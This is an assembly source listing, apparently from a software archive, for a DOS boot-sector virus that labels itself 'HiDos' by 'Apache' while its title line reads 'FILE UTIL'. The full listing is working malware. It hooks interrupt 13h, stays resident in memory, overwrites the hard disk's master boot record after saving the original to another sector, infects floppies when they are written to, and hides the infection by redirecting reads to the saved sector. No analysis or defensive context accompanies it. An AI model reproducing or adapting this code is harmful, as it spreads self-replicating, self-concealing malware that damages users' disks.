home *** CD-ROM | disk | FTP | other *** search
- NAME boot
- PAGE 55,132
- TITLE FILE UTIL
-
-
-
-
- code segment
-
- ASSUME CS:CODE,DS:CODE,ES:CODE
-
- org 100h
-
- main: jmp over
- db '['
- id db 'HiDos]',0
- by db 'By Apache',0
- over: xor ax,ax
- mov ds,ax
- cli
- mov ss,ax
- mov sp,7c00h
- sti
- mov ax,ds:[004eh]
- mov word ptr ds:[int13+7b02h],ax
- mov ax,ds:[004ch]
- mov word ptr ds:[int13+7b00h],ax
- mov ax,ds:[0413h]
- dec ax
- dec ax
- mov ds:[0413h],ax
- mov cl,06h
- shl ax,cl
- mov es,ax
- mov word ptr ds:[bigj+7b02h],es
- mov ax,offset jumpt
- mov word ptr ds:[bigj+7b00h],ax
- mov cx,0400h
- push cs
- pop ds
- mov si,7c00h
- mov di,0100h
- cld
- repz
- movsb
- push cs
- pop ds
- jmp cs:[bigj+7b00h]
-
- jumpt: push cs
- pop ds
- mov si,offset drive
- cmp byte ptr ds:[si],80h
- jz hdone
- mov bx,0300h
- mov cx,0001h
- mov dx,0080h
- push cs
- pop es
- call hdread
- cmp ds:[0304h],'iH'
- jz hdone
- mov bx,0300h
- mov cx,0007h
- mov dx,0080h
- call hdwrit
- mov si,04beh
- mov di,02beh
- mov cx,0042h
- cld
- repz
- movsb
- mov byte ptr ds:[drive],80h
- mov bx,0100h
- mov cx,0001h
- mov dx,0080h
- call hdwrit
- mov byte ptr ds:[drive],00h
-
- hdone: xor ax,ax
- mov word ptr cs:[boot+2],ax
- mov es,ax
- push cs
- pop ds
- mov ax,0201h
- mov bx,7c00h
- mov word ptr ds:[boot],bx
- mov si,offset drive
- cmp byte ptr ds:[si],80h
- jz hload
- mov cx,0003h
- mov dx,0100h
- jmp fload
- hload: mov cx,0007h
- mov dx,0080h
- fload: mov di,'rv'
- int 13h
- mov si,offset drive
- mov byte ptr cs:[si],00h
- xor ax,ax
- mov es,ax
- mov ds,ax
- mov ax,offset nint13
- mov ds:[004ch],ax
- mov ds:[004eh],cs
- push cs
- pop ds
- jmp cs:[boot]
-
- hdwrit: mov ax,0301h
- mov di,'rv'
- jmp xx4
- hdread: mov ax,0201h
- mov di,'rv'
- xx4: int 13h
- ret
-
- nint13: cmp di,'rv'
- jz iv13
- cmp ah,02h
- jnz wcheck
- cmp cl,01h
- jnz wcheck
- cmp dh,00h
- jnz wcheck
- cmp dl,80h
- jz check1
- cmp dl,00h
- jnz wcheck
- check1: push ax
- push bx
- push cx
- push dx
- push ds
- push es
- push di
- mov bx,0300h
- push cs
- pop es
- call hdread
- mov si,offset [id+0200h]
- cmp es:[si],'iH'
- jz redirect
- jmp iflopd
- redirect: cmp dl,80h
- jnz rdirfl
- pop di
- pop es
- pop ds
- pop dx
- pop cx
- pop bx
- pop ax
- mov cx,0007h
- jmp a13
-
- rdirfl: pop di
- pop es
- pop ds
- pop dx
- pop cx
- pop bx
- pop ax
- mov cx,0003h
- mov dx,0100h
- a13: mov ax,0201h
- iv13: jmp v13
-
-
- wcheck: cmp ah,03h
- jnz v13
- cmp dl,00h
- jnz v13
- push ax
- push bx
- push cx
- push dx
- push ds
- push es
- push di
- push cs
- pop es
- mov bx,0300h
- mov cx,0001h
- xor dx,dx
- call hdread
- mov si,offset [id+0200h]
- cmp es:[si],'iH'
- jz iflopd
- mov cx,0003h
- mov dx,0100h
- mov bx,0300h
- call hdwrit
- mov bx,0100h
- xor dx,dx
- mov cx,0001h
- call hdwrit
- iflopd: pop di
- pop es
- pop ds
- pop dx
- pop cx
- pop bx
- pop ax
- v13: db 0eah
- int13 dd 0h
- drive db 0h
- bigj dd 0h
- boot dd 0h
-
- code ends
-
- end main